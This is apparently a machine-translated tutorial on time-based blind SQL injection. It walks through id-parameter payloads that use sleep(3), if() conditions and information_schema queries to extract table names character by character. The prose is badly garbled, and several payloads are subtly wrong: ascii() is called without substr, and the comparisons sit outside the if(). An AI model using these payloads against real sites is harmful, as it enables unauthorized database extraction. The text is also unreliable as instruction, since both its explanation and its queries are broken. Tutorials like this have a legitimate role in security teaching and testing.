Time beable blind blinds slightly more difficult, the key is that no matter how you enter is not an error

So to judge according to what it is injected in accordance with the delay time of the request time of the request.

1. guess parcel situation parameters

id = 1 This is either 1 'wrapped either "package either) wrapped

Try to go id = 1 'or sleep (3)% 23

If this time the server directly over three seconds before responding

Then there is the injection time

2. Add the if statement, control if the first argument

If conditions are correct to a certain delayed by three to seconds, and returns 0 if misalignment (i.e. if the first parameter is 1)

id= 1’ or if(1,sleep(3),0) %23

If one condition is false returns directly (that is, if the first argument is 0)

id= 1’ or if((select table_name from information_schema.tables where table_schema=database() limit 0,1),sleep(3),0) %23

In order to verify the statement there is no mistake as our first table_name 1

id= 1’ or if((select 1 from information_schema.tables where table_schema=database() limit 0,1),sleep(3),0) %23

Can be found ok

Followed by ASCII () represents

id= 1’ or if((select ascii(table_name,1,1) from information_schema.tables where table_schema=database() limit 0,1),sleep(3),0) %23

Next, look at a table of the database name i the first character ascii is not greater than 64

id= 1’ or if((select ascii(table_name,1,1) from information_schema.tables where table_schema=database() limit 0,1),sleep(3),0) >64 %23

And then see if it is greater than 96, and then see if it is greater than 110 (the set itself)

The final judge is 101 then it is

id= 1’ or if((select ascii(table_name,1,1) from information_schema.tables where table_schema=database() limit 0,1),sleep(3),0) =101 %23